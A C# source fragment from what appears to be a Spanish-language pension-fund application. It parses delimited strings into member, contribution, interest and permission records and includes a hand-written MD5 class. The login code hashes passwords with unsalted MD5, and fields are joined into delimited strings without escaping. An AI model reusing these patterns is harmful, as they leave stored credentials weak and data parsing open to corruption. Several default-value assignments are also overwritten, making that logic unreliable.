/* * DATOS LABORALES: * correo electronico(string) */ string[] login = datos[3].Split(','); empleado.correoElectronico = login[0]; empleado.Password = login[1]; empleado.Puesto = login[2]; return empleado; } //Obtiene string de DT y devuelve lista de ocupacion public List<String[]> getOcupacion(String valores) { if (valores.Equals("")) return null; /*obtener datos de ocupacion*/ String[] datos = valores.Split(';'), datos2; List<String[]> lista = new List<String[]>(); for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); lista.Add(datos2); } return lista; } //Obtiene string de DT y devuelve lista de parentesco public List<String[]> getParentesco(String valores) { if (valores.Equals("")) return null; /*obtener datos de parentesco*/ String[] datos = valores.Split(';'), datos2; List<String[]> lista = new List<String[]>(); for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); lista.Add(datos2); } return lista; } //Obtiene string de DT y devuelve lista de intereses public List<Interes> getIntereses(String valores) { if (valores.Equals("")) return null; /*obtener datos de intereses*/ string[] datos = valores.Split(';'); List<Interes> lista = new List<Interes>(); for (int i = 0; i < datos.Length; i++) { string[] datos2 = datos[i].Split(','); Interes tmp = new Interes(); tmp.Aplica_obligatoria = Convert.ToBoolean(datos2[2]); tmp.Aplica_voluntaria = Convert.ToBoolean(datos2[3]); tmp.Aplica_obligatoria_especial = Convert.ToBoolean(datos2[4]); tmp.Aplica_voluntaria_arriba = Convert.ToBoolean(datos2[5]); tmp.Nombre = datos2[0]; tmp.Tasa = Convert.ToInt64(datos2[1]); tmp.Monto_voluntaria = Convert.ToInt64(datos2[6]); tmp.Valido = Convert.ToBoolean(datos2[7]); lista.Add(tmp); } return lista; } //Obtiene string de DT y devuelve lista de motivos public List<String[]> getMotivos(String valores) { if (valores.Equals("")) return null; /*obtener datos de motivos*/ String[] datos = valores.Split(';'), datos2; List<String[]> lista = new List<String[]>(); for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); lista.Add(datos2); } return lista; } //Obtiene string de DT y devuelve monto actual public String getMontoActual(String valores) { if (valores.Equals("")) return null; return valores; } //Obtiene string de DT y devuelve limite actual public String getLimiteActual(String valores) { if (valores.Equals("")) return null; return valores; } //verificar si se puede login public String verificarLogin(String correo, String pwd) { if (correo.Equals("") || pwd.Equals("")) return null; MD5 md5 = new MD5(); char del1 = ','; md5.Value = pwd; m_Enviar = correo + del1 + md5.FingerPrint; return m_Enviar; } //Obtiene nombre completo y permisos de un usuario public List<String> getLoginDatos(String valores) { if (valores.Equals("")) return null; /*obtener datos de permisos*/ string[] datos = valores.Split(';'), datos2; List<string> lista = new List<string>(); for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); for (int j = 0; j < datos2.Length; j++) lista.Add(datos2[j]); } return lista; } //Obtiene No. Certificado, PNombre, SNombre, PApellido, SApellido, No. Identidad afiliado y aportaciones para ingresar aportaciones public List<Object> getAfiliadoAportaciones(String valores) { if (valores.Equals("")) return null; List<Object> lista = new List<Object>(); aportacionObligatoriaEspecial aportacion; /*obtener datos de las aportaciones*/ string[] datos = valores.Split('&'), datos2 = datos[0].Split(';'), datos3 = datos2[1].Split(','); /*Obtiene: No. Certificado, PNombre, SNombre, PApellido, SApellido, No. Identidad*/ lista.Add(datos2[0]); for (int i = 0; i < datos3.Length; i++) lista.Add(datos3[i]); lista.Add(datos2[2]); if (datos[1].Equals("")) { lista.Add("NULL"); return lista; } //Obtiene datos de las aportaicones: ID_Aportacion, fecha a pagar, monto, motivo ("") datos2 = datos[1].Split(';'); for (int i = 0; i < datos2.Length; i++) { datos3 = datos2[i].Split(','); aportacion = new aportacionObligatoriaEspecial(); aportacion.IDAportacion = Convert.ToInt32(datos3[0]); aportacion.fechaPlazo = datos3[1]; aportacion.Monto = Convert.ToInt64(datos3[2]); if (datos3[3].Equals("")) aportacion.Motivo = "N/A"; aportacion.Motivo = datos3[3]; lista.Add(aportacion); } return lista; } //Obtiene string de DT y devuelve lista Aportacion Obligatoria Especial public List<AportacionOE> getAportacionObligatoriaEspecial(String valores) { if (valores.Equals("")) return null; List<AportacionOE> lista = new List<AportacionOE>(); AportacionOE aportacion; /*obtener datos de las aportaciones*/ string[] datos = valores.Split(';'), datos2; //Obtiene datos de las aportaicones: ID_Aportacion, fecha a pagar, monto, motivo (""), descripcion for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); aportacion = new AportacionOE(); aportacion.Descripcion = datos2[4]; aportacion.Fecha = datos2[2] + "/" + datos2[1]; aportacion.Monto = Convert.ToInt64(datos2[0]); if (datos2[3].Equals("")) aportacion.Motivo = "N/A"; aportacion.Motivo = datos2[3]; lista.Add(aportacion); } return lista; } //Obtiene el afiliado apartir de un nombre, numero certificado o identidad public String getAfiliadoAportacion(String Certificado, String PNombre, String SNombre, String PApellido, String SApellido, String Identidad) { char del1 = ',', del2 = ';'; m_Enviar = Certificado + del2 + PNombre + del1 + SNombre + del1 + PApellido + del1 + SApellido + del2 + Identidad; return m_Enviar; } //Ingresar las aportaciones seleccionadas por usuario public String Pagar(String NoIdentidad, List<controlDePagoGrid> aportaciones, String correo) { if (correo.Equals("") || NoIdentidad.Equals("") || aportaciones == null) return null; char del1 = ',', del2 = ';'; //Agrega el numero de identidad m_Enviar = NoIdentidad + del2; List<String> ids = new List<String>(); List<AportacionVoluntaria> voluntarias = new List<AportacionVoluntaria>(); AportacionVoluntaria tmp; for (int i = 0; i < aportaciones.Count; i++) { if (aportaciones[i].TipoAportacion.Equals("Obligatoria")) ids.Add("" + aportaciones[i].ID); else { tmp = new AportacionVoluntaria(); tmp.Monto = aportaciones[i].Monto; tmp.Descripcion = aportaciones[i].Descripcion; voluntarias.Add(tmp); } } //Agrega los IDs de las aportaciones obligatorias for (int i = 0; i < ids.Count; i++) { if (i < ids.Count - 1) m_Enviar += ids[i] + del1; else if (i < ids.Count) m_Enviar += ids[i]; } m_Enviar += del2; //Agrega el monto y la descripcion de las aportaciones voluntarias for (int i = 0; i < voluntarias.Count; i++) { if (i < voluntarias.Count - 1) m_Enviar += voluntarias[i].Monto + "," + voluntarias[i].Descripcion + ";"; else if (i < voluntarias.Count) m_Enviar += voluntarias[i].Monto + "," + voluntarias[i].Descripcion; } m_Enviar += "&" + correo; return m_Enviar; } //Obtener listas de No. Certificado y Nombres de afiliados public List<Object> getListasPagos(String valores) { if (valores.Equals("")) return null; List<Object> lista = new List<Object>(); List<String> nombres = new List<String>(), No_Certificado = new List<String>(); String tmp; /*obtener datos de las aportaciones*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: No. Certificado, PNombre, SNombre, PApellido, SApellido*/ for (int i = 0; i < datos.Length; i++) { tmp = ""; datos2 = datos[i].Split(','); for (int j = 0; j < datos2.Length; j++) { if (j == 0) No_Certificado.Add(datos2[j]); if (j > 0 && j < datos2.Length - 1) tmp += datos2[j] + " "; else if (j > 0 && j < datos2.Length) tmp += datos2[j]; } nombres.Add(tmp); } lista.Add(No_Certificado); lista.Add(nombres); return lista; } //Filtros de busqueda de un afiliado public String buscarAfiliadosConsultas(String Certificado, String PNombre, String SNombre, String PApellido, String SApellido, String Identidad, String Telefono, String Celular, String Ocupacion, String Genero, String Correo, String Estado_civil, String Estado_afiliado, String Empresa) { char del1 = ','; //Agrega el no certificado, PNombre, SNombre, PApellido, SApellido, No Identidad, Telefono, //Celular, Ocupacion, Genero, Correo, Estado Civil, Estado afiliado, Empresa m_Enviar = Certificado + del1 + PNombre + del1 + SNombre + del1 + PApellido + del1 + SApellido + del1 + Identidad + del1 + Telefono + del1 + Celular + del1 + Ocupacion + del1 + Genero + del1 + Correo + del1 + Estado_civil + del1 + Estado_afiliado + del1 + Empresa; return m_Enviar; } //Devuelve una lista de los Afiliados filtrados public List<filtrosAfiliadoGrid> getListaAfiliadosFiltrados(String valores) { if (valores.Equals("")) return null; List<filtrosAfiliadoGrid> lista = new List<filtrosAfiliadoGrid>(); List<String> tmp; /*obtener datos de las aportaciones*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: No. Certificado, PNombre, SNombre, PApellido, SApellido, No. Identidad, Correo*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); tmp = new List<String>(); for (int j = 0; j < datos2.Length; j++) tmp.Add(datos2[j]); lista.Add(new filtrosAfiliadoGrid { No_Certificado = tmp[0], Nombre = tmp[1] + " " + tmp[2] + " " + tmp[3] + " " + tmp[4], No_Identidad = tmp[5], Correo = tmp[6] }); } return lista; } //Obtiene filtro de busqueda en consultar estado de cuenta public String enviarAportacionesConsulas(String Certificado, String fecha_desde, String fecha_hasta) { char del1 = ','; //Agrega el no certificado, fecha desde, fecha hasta m_Enviar = Certificado + del1 + this.convertirFechaBD(fecha_desde) + del1 + this.convertirFechaBD(fecha_hasta); return m_Enviar; } //Obtiene todas las aportaciones del afiliado public List<estadoDeCuentaGrid> getEstadoCuenta(String valores) { if (valores.Equals("")) return null; List<estadoDeCuentaGrid> lista = new List<estadoDeCuentaGrid>(); ; estadoDeCuentaGrid aportacion; /*obtener datos de las aportaciones*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: Monto, Descripcion, Fecha Plazo, Fecha Realizacion, Motivo ("")*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); aportacion = new estadoDeCuentaGrid(); aportacion.Monto = Convert.ToInt32(datos2[0]); aportacion.Descripcion = datos2[1]; aportacion.fechaPlazo = datos2[2]; if (datos2[3].Equals("")) aportacion.fechaRealizacion = "No pagada."; aportacion.fechaRealizacion = datos2[3]; if (datos2[4].Equals("")) aportacion.Motivo = "N/A"; aportacion.Motivo = datos2[4]; lista.Add(aportacion); } return lista; } //Obtener todos los permisos de roles public List<List<Boolean>> getTodosLosPermisos(String valores) { if (valores.Equals("")) return null; List<List<Boolean>> lista = new List<List<Boolean>>(); List<Boolean> admin = new List<Boolean>(), empleado = new List<Boolean>(), afiliado = new List<Boolean>(); /*obtener datos de los permisos*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: permisos Admin, Empleado, Afiliado*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); for (int j = 0; j < datos2.Length; j++) { if (i == 0) admin.Add(Convert.ToBoolean(datos2[j])); else if (i == 1) empleado.Add(Convert.ToBoolean(datos2[j])); else if (i == 2) afiliado.Add(Convert.ToBoolean(datos2[j])); } } lista.Add(admin); lista.Add(empleado); lista.Add(afiliado); return lista; } //Obtener aportaciones a capitalizar public List<aportacionCapitalizarGrid> getAportacionesACapitalizar(String valores) { if (valores.Equals("")) return null; List<aportacionCapitalizarGrid> lista = new List<aportacionCapitalizarGrid>(); aportacionCapitalizarGrid reporte; /*obtener datos de las aportaciones*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: No. Certificado, Descripcion, Monto, Fecha Plazo, Fecha Realizacion, Motivo, Nombre Interes, Tasa Interes, Monto generado*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); reporte = new aportacionCapitalizarGrid(); String[] datos3 = datos2[3].Split(' '), datos4 = datos2[4].Split(' '); reporte.No_Certificado = datos2[0]; reporte.Descripcion_Aportacion = datos2[1]; reporte.Monto = datos2[2]; reporte.Fecha_Plazo = datos3[0]; reporte.Fecha_Realizacion = datos4[0]; reporte.Motivo = datos2[5]; reporte.Nombre_Interes = datos2[6]; reporte.Tasa_Interes = datos2[7]; reporte.Monto_Generado = datos2[8]; lista.Add(reporte); } return lista; } //Obtener saldos a capitalizar public List<saldoCapitalizarGrid> getSaldosACapitalizar(String valores) { if (valores.Equals("")) return null; List<saldoCapitalizarGrid> lista = new List<saldoCapitalizarGrid>(); saldoCapitalizarGrid reporte; /*obtener datos de los saldos*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: No. Certificado, Saldo Actual, Total Interes, Nuevo Saldo*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); reporte = new saldoCapitalizarGrid(); reporte.No_Certificado = datos2[0]; reporte.Saldo_Actual = datos2[1]; reporte.Total_Interes = datos2[2]; reporte.Nuevo_Saldo = datos2[3]; lista.Add(reporte); } return lista; } //para enviar a DT los afiliados filtrados, tipo de aportacion, fecha desde, fecha hasta public String getFiltrosEstadoCuentaTodos(List<String> certificados, String tipo_aportacion, String fecha_desde, String fecha_hasta) { if (tipo_aportacion.Equals("") || certificados == null || fecha_desde.Equals("") || fecha_hasta.Equals("")) return null; char del1 = ',', del2 = ';'; m_Enviar = ""; for (int i = 0; i < certificados.Count; i++) { if (i < certificados.Count - 1) m_Enviar += certificados[i] + del1; else if (i < certificados.Count) m_Enviar += certificados[i]; } char t_aportacion = ' '; switch (tipo_aportacion) { case "Todas Las Aportaciones": t_aportacion = 'T'; break; case "Aportaciones Obligatorias Normales": t_aportacion = 'O'; break; case "Aportaciones Obligatorias Especiales": t_aportacion = 'E'; break; case "Aportaciones Obligatorias": t_aportacion = 'Y'; break; case "Aportaciones Voluntarias": t_aportacion = 'V'; break; } m_Enviar += del2 + "" + t_aportacion + "" + del2 + this.convertirFechaBD(fecha_desde) + del1 + this.convertirFechaBD(fecha_hasta); return m_Enviar; } //Obtener lista del reporte de los saldos de todos los afiliados public List<reporteTodosSaldosGrid> getReporteTodosLosSaldos(String valores) { if (valores.Equals("")) return null; List<reporteTodosSaldosGrid> lista = new List<reporteTodosSaldosGrid>(); reporteTodosSaldosGrid reporte; /*obtener datos de los saldos*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: No. Certificado, PNombre, SNombre, PApellido, SApellido, Total Aportaciones O, Total Aportaciones V, Saldo Actual*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); reporte = new reporteTodosSaldosGrid(); reporte.Num_Certificado = Convert.ToInt32(datos2[0]); reporte.Nombre = datos2[1] + " " + datos2[2] + " " + datos2[3] + " " + datos2[4]; reporte.Total_AportacionesO = (float)Convert.ToDouble(datos2[5]); reporte.Total_AportacionesV = (float)Convert.ToDouble(datos2[6]); reporte.Total_Intereses = (float)Convert.ToDouble(datos2[7]); reporte.Saldo_Actual = (float)Convert.ToDouble(datos2[8]); lista.Add(reporte); } return lista; } //Obtener lista del reporte de los estado de cuenta de todos los afiliados public List<reporteEstadoCuentaTodosGrid> getReporteEstadoCuentaTodos(String valores) { if (valores.Equals("")) return null; List<reporteEstadoCuentaTodosGrid> lista = new List<reporteEstadoCuentaTodosGrid>(); reporteEstadoCuentaTodosGrid reporte; /*obtener datos de los saldos*/ string[] datos = valores.Split(';'), datos2; /*Obtiene: No. Certificado, Monto, Descripcion, fecha de plazo, fecha de realizacion, Motivo, Cancelado*/ for (int i = 0; i < datos.Length; i++) { datos2 = datos[i].Split(','); reporte = new reporteEstadoCuentaTodosGrid(); reporte.Num_Certificado = Convert.ToInt32(datos2[0]); reporte.Monto = (float)Convert.ToDouble(datos2[1]); reporte.Descripcion = datos2[2]; reporte.fechaPlazo = datos2[3]; reporte.fechaRealizacion = datos2[4]; reporte.Motivo = datos2[5]; reporte.Cancelado = datos2[6]; lista.Add(reporte); } return lista; } //Obtener correos de persona temporal para llenar combobox public List<String> getPersonaTemprales(String valores) { if (valores.Equals("")) return null; /*obtener datos de correos*/ string[] datos = valores.Split(','); List<String> lista = new List<String>(); for (int i = 0; i < datos.Length; i++) lista.Add(datos[i]); return lista; } /********************************************************************************************************************************* **********************************************************FIN****GETS************************************************************ *********************************************************************************************************************************/ //Convierte la fecha del sistema a formato de BD con el formato: AÑO-MES-DIA private String convertirFechaBD(String fecha) { string[] fecha_corregida = fecha.Split('/'); fecha = ""; fecha += fecha_corregida[2] + "-"; fecha += fecha_corregida[0] + "-"; fecha += fecha_corregida[1]; return fecha; } //Convierte la fecha de la a BD a formato de BD con el formato: MES/DIA/AÑO private String convertirFechaNormal(String fecha) { string[] fecha_corregida = fecha.Split('-'); fecha = ""; fecha += fecha_corregida[1] + "/"; fecha += fecha_corregida[0] + "/"; fecha += fecha_corregida[2]; return fecha; } /********************************************************************************************************************************* ***********************************************************MD5****dAnY************************************************************ *********************************************************************************************************************************/ private class MD5 { /// <summary> /// helper class providing suporting function /// </summary> sealed private class MD5Helper { private MD5Helper() { } /// <summary> /// Left rotates the input word /// </summary> /// <param name="uiNumber">a value to be rotated</param> /// <param name="shift">no of bits to be rotated</param> /// <returns>the rotated value</returns> public static uint RotateLeft(uint uiNumber, ushort shift) { return ((uiNumber >> 32 - shift) | (uiNumber << shift)); } /// <summary> /// perform a ByteReversal on a number /// </summary> /// <param name="uiNumber">value to be reversed</param> /// <returns>reversed value</returns> public static uint ReverseByte(uint uiNumber) { return (((uiNumber & 0x000000ff) << 24) | (uiNumber >> 24) | ((uiNumber & 0x00ff0000) >> 8) | ((uiNumber & 0x0000ff00) << 8)); } } /// <summary> /// class for changing event args /// </summary> public class MD5ChangingEventArgs : EventArgs { public readonly byte[] NewData; public MD5ChangingEventArgs(byte[] data) { byte[] NewData = new byte[data.Length]; for (int i = 0; i < data.Length; i++) NewData[i] = data[i]; } public MD5ChangingEventArgs(string data) { byte[] NewData = new byte[data.Length]; for (int i = 0; i < data.Length; i++) NewData[i] = (byte)data[i]; } } /// <summary> /// class for cahnged event args /// </summary> public class MD5ChangedEventArgs : EventArgs { public readonly byte[] NewData; public readonly string FingerPrint; public MD5ChangedEventArgs(byte[] data, string HashedValue) { byte[] NewData = new byte[data.Length]; for (int i = 0; i < data.Length; i++) NewData[i] = data[i]; FingerPrint = HashedValue; } public MD5ChangedEventArgs(string data, string HashedValue) { byte[] NewData = new byte[data.Length]; for (int i = 0; i < data.Length; i++) NewData[i] = (byte)data[i]; FingerPrint = HashedValue; } } /// <summary> /// constants for md5 /// </summary> public enum MD5InitializerConstant : uint { A = 0x67452301, B = 0xEFCDAB89, C = 0x98BADCFE, D = 0X10325476 } /// <summary> /// Represent digest with ABCD /// </summary> sealed public class Digest { public uint A; public uint B; public uint C; public uint D; public Digest() { A = (uint)MD5InitializerConstant.A; B = (uint)MD5InitializerConstant.B; C = (uint)MD5InitializerConstant.C; D = (uint)MD5InitializerConstant.D; } public override string ToString() { string st; st = MD5Helper.ReverseByte(A).ToString("X8") + MD5Helper.ReverseByte(B).ToString("X8") + MD5Helper.ReverseByte(C).ToString("X8") + MD5Helper.ReverseByte(D).ToString("X8"); return st; } } /***********************Statics**************************************/ /// <summary> /// lookup table 4294967296*sin(i) /// </summary> protected readonly static uint[] T = new uint[64] { 0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee, 0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501, 0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be, 0x6b901122,0xfd987193,0xa679438e,0x49b40821, 0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa, 0xd62f105d,0x2441453,0xd8a1e681,0xe7d3fbc8, 0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed, 0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a, 0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c, 0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70, 0x289b7ec6,0xeaa127fa,0xd4ef3085,0x4881d05, 0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665, 0xf4292244,0x432aff97,0xab9423a7,0xfc93a039, 0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1, 0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1, 0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391 }; /*****instance variables**************/ /// <summary> /// X used to proces data in /// 512 bits chunks as 16 32 bit word /// </summary> protected uint[] X = new uint[16]; /// <summary> /// the finger print obtained. /// </summary> protected Digest dgFingerPrint; /// <summary> /// the input bytes /// </summary> protected byte[] m_byteInput; /**********************EVENTS AND DELEGATES*******************************************/ public delegate void ValueChanging(object sender, MD5ChangingEventArgs Changing); public delegate void ValueChanged(object sender, MD5ChangedEventArgs Changed); public event ValueChanging OnValueChanging; public event ValueChanged OnValueChanged; /********************************************************************/ /***********************PROPERTIES ***********************/ /// <summary> ///gets or sets as string /// </summary> public string Value { get { string st; char[] tempCharArray = new Char[m_byteInput.Length]; for (int i = 0; i < m_byteInput.Length; i++) tempCharArray[i] = (char)m_byteInput[i]; st = new String(tempCharArray); return st; } set { /// raise the event to notify the changing if (this.OnValueChanging != null) this.OnValueChanging(this, new MD5ChangingEventArgs(value)); m_byteInput = new byte[value.Length]; for (int i = 0; i < value.Length; i++) m_byteInput[i] = (byte)value[i]; dgFingerPrint = CalculateMD5Value(); /// raise the event to notify the change if (this.OnValueChanged != null) this.OnValueChanged(this, new MD5ChangedEventArgs(value, dgFingerPrint.ToString())); } } /// <summary> /// get/sets as byte array /// </summary> public byte[] ValueAsByte { get { byte[] bt = new byte[m_byteInput.Length]; for (int i = 0; i < m_byteInput.Length; i++) bt[i] = m_byteInput[i]; return bt; } set { /// raise the event to notify the changing if (this.OnValueChanging != null) this.OnValueChanging(this, new MD5ChangingEventArgs(value)); m_byteInput = new byte[value.Length]; for (int i = 0; i < value.Length; i++) m_byteInput[i] = value[i]; dgFingerPrint = CalculateMD5Value(); /// notify the changed value if (this.OnValueChanged != null) this.OnValueChanged(this, new MD5ChangedEventArgs(value, dgFingerPrint.ToString())); } } //gets the signature/figner print as string public string FingerPrint { get { return dgFingerPrint.ToString(); } } /*************************************************************************/ /// <summary> /// Constructor /// </summary> public MD5() { Value = ""; } /******************************************************************************/ /*********************METHODS**************************/ /// <summary> /// calculat md5 signature of the string in Input /// </summary> /// <returns> Digest: the finger print of msg</returns> protected Digest CalculateMD5Value() { /***********vairable declaration**************/ byte[] bMsg; //buffer to hold bits uint N; //N is the size of msg as word (32 bit) Digest dg = new Digest(); // the value to be returned // create a buffer with bits padded and length is alos padded bMsg = CreatePaddedBuffer(); N = (uint)(bMsg.Length * 8) / 32; //no of 32 bit blocks for (uint i = 0; i < N / 16; i++) { CopyBlock(bMsg, i); PerformTransformation(ref dg.A, ref dg.B, ref dg.C, ref dg.D); } return dg; } /******************************************************** * TRANSFORMATIONS : FF , GG , HH , II acc to RFC 1321 * where each Each letter represnets the aux function used *********************************************************/ /// <summary> /// perform transformatio using f(((b&c) | (~(b)&d)) /// </summary> protected void TransF(ref uint a, uint b, uint c, uint d, uint k, ushort s, uint i) { a = b + MD5Helper.RotateLeft((a + ((b & c) | (~(b) & d)) + X[k] + T[i - 1]), s); } /// <summary> /// perform transformatio using g((b&d) | (c & ~d) ) /// </summary> protected void TransG(ref uint a, uint b, uint c, uint d, uint k, ushort s, uint i) { a = b + MD5Helper.RotateLeft((a + ((b & d) | (c & ~d)) + X[k] + T[i - 1]), s); } /// <summary> /// perform transformatio using h(b^c^d) /// </summary> protected void TransH(ref uint a, uint b, uint c, uint d, uint k, ushort s, uint i) { a = b + MD5Helper.RotateLeft((a + (b ^ c ^ d) + X[k] + T[i - 1]), s); } /// <summary> /// perform transformatio using i (c^(b|~d)) /// </summary> protected void TransI(ref uint a, uint b, uint c, uint d, uint k, ushort s, uint i) { a = b + MD5Helper.RotateLeft((a + (c ^ (b | ~d)) + X[k] + T[i - 1]), s); } /// <summary> /// Perform All the transformation on the data /// </summary> /// <param name="A">A</param> /// <param name="B">B </param> /// <param name="C">C</param> /// <param name="D">D</param> protected void PerformTransformation(ref uint A, ref uint B, ref uint C, ref uint D) { //// saving ABCD to be used in end of loop uint AA, BB, CC, DD; AA = A; BB = B; CC = C; DD = D; /* Round 1 * [ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4] * [ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8] * [ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12] * [ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16] * * */ TransF(ref A, B, C, D, 0, 7, 1); TransF(ref D, A, B, C, 1, 12, 2); TransF(ref C, D, A, B, 2, 17, 3); TransF(ref B, C, D, A, 3, 22, 4); TransF(ref A, B, C, D, 4, 7, 5); TransF(ref D, A, B, C, 5, 12, 6); TransF(ref C, D, A, B, 6, 17, 7); TransF(ref B, C, D, A, 7, 22, 8); TransF(ref A, B, C, D, 8, 7, 9); TransF(ref D, A, B, C, 9, 12, 10); TransF(ref C, D, A, B, 10, 17, 11); TransF(ref B, C, D, A, 11, 22, 12); TransF(ref A, B, C, D, 12, 7, 13); TransF(ref D, A, B, C, 13, 12, 14); TransF(ref C, D, A, B, 14, 17, 15); TransF(ref B, C, D, A, 15, 22, 16); /** rOUND 2 **[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20] *[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24] *[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28] *[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32] */ TransG(ref A, B, C, D, 1, 5, 17); TransG(ref D, A, B, C, 6, 9, 18); TransG(ref C, D, A, B, 11, 14, 19); TransG(ref B, C, D, A, 0, 20, 20); TransG(ref A, B, C, D, 5, 5, 21); TransG(ref D, A, B, C, 10, 9, 22); TransG(ref C, D, A, B, 15, 14, 23); TransG(ref B, C, D, A, 4, 20, 24); TransG(ref A, B, C, D, 9, 5, 25); TransG(ref D, A, B, C, 14, 9, 26); TransG(ref C, D, A, B, 3, 14, 27); TransG(ref B, C, D, A, 8, 20, 28); TransG(ref A, B, C, D, 13, 5, 29); TransG(ref D, A, B, C, 2, 9, 30); TransG(ref C, D, A, B, 7, 14, 31); TransG(ref B, C, D, A, 12, 20, 32); /* rOUND 3 * [ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36] * [ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40] * [ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44] * [ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48] * */ TransH(ref A, B, C, D, 5, 4, 33); TransH(ref D, A, B, C, 8, 11, 34); TransH(ref C, D, A, B, 11, 16, 35); TransH(ref B, C, D, A, 14, 23, 36); TransH(ref A, B, C, D, 1, 4, 37); TransH(ref D, A, B, C, 4, 11, 38); TransH(ref C, D, A, B, 7, 16, 39); TransH(ref B, C, D, A, 10, 23, 40); TransH(ref A, B, C, D, 13, 4, 41); TransH(ref D, A, B, C, 0, 11, 42); TransH(ref C, D, A, B, 3, 16, 43); TransH(ref B, C, D, A, 6, 23, 44); TransH(ref A, B, C, D, 9, 4, 45); TransH(ref D, A, B, C, 12, 11, 46); TransH(ref C, D, A, B, 15, 16, 47); TransH(ref B, C, D, A, 2, 23, 48); /*ORUNF 4 *[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52] *[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56] *[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60] *[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64] * */ TransI(ref A, B, C, D, 0, 6, 49); TransI(ref D, A, B, C, 7, 10, 50); TransI(ref C, D, A, B, 14, 15, 51); TransI(ref B, C, D, A, 5, 21, 52); TransI(ref A, B, C, D, 12, 6, 53); TransI(ref D, A, B, C, 3, 10, 54); TransI(ref C, D, A, B, 10, 15, 55); TransI(ref B, C, D, A, 1, 21, 56); TransI(ref A, B, C, D, 8, 6, 57); TransI(ref D, A, B, C, 15, 10, 58); TransI(ref C, D, A, B, 6, 15, 59); TransI(ref B, C, D, A, 13, 21, 60); TransI(ref A, B, C, D, 4, 6, 61); TransI(ref D, A, B, C, 11, 10, 62); TransI(ref C, D, A, B, 2, 15, 63); TransI(ref B, C, D, A, 9, 21, 64); A = A + AA; B = B + BB; C = C + CC; D = D + DD; } /// <summary> /// Create Padded buffer for processing , buffer is padded with 0 along /// with the size in the end /// </summary> /// <returns>the padded buffer as byte array</returns> protected byte[] CreatePaddedBuffer() { uint pad; //no of padding bits for 448 mod 512 byte[] bMsg; //buffer to hold bits ulong sizeMsg; //64 bit size pad uint sizeMsgBuff; //buffer size in multiple of bytes int temp = (448 - ((m_byteInput.Length * 8) % 512)); //temporary pad = (uint)((temp + 512) % 512); //getting no of bits to be pad if (pad == 0) ///pad is in bits pad = 512; //at least 1 or max 512 can be added sizeMsgBuff = (uint)((m_byteInput.Length) + (pad / 8) + 8); sizeMsg = (ulong)m_byteInput.Length * 8; bMsg = new byte[sizeMsgBuff]; ///no need to pad with 0 coz new bytes // are already initialize to 0 :) ////copying string to buffer for (int i = 0; i < m_byteInput.Length; i++) bMsg[i] = m_byteInput[i]; bMsg[m_byteInput.Length] |= 0x80; ///making first bit of padding 1, //wrting the size value for (int i = 8; i > 0; i--) bMsg[sizeMsgBuff - i] = (byte)(sizeMsg >> ((8 - i) * 8) & 0x00000000000000ff); return bMsg; } /// <summary> /// Copies a 512 bit block into X as 16 32 bit words /// </summary> /// <param name="bMsg"> source buffer</param> /// <param name="block">no of block to copy starting from 0</param> protected void CopyBlock(byte[] bMsg, uint block) { block = block << 6; for (uint j = 0; j < 61; j += 4) { X[j >> 2] = (((uint)bMsg[block + (j + 3)]) << 24) | (((uint)bMsg[block + (j + 2)]) << 16) | (((uint)bMsg[block + (j + 1)]) << 8) | (((uint)bMsg[block + (j)])); } } } /********************************************************************************************************************************* ****************************************************FIN****MD5****dAnY************************************************************ *********************************************************************************************************************************/ } /********************************************************************************************************************************* ***********************************************************FIN***dAnY************************************************************ *********************************************************************************************************************************/ }
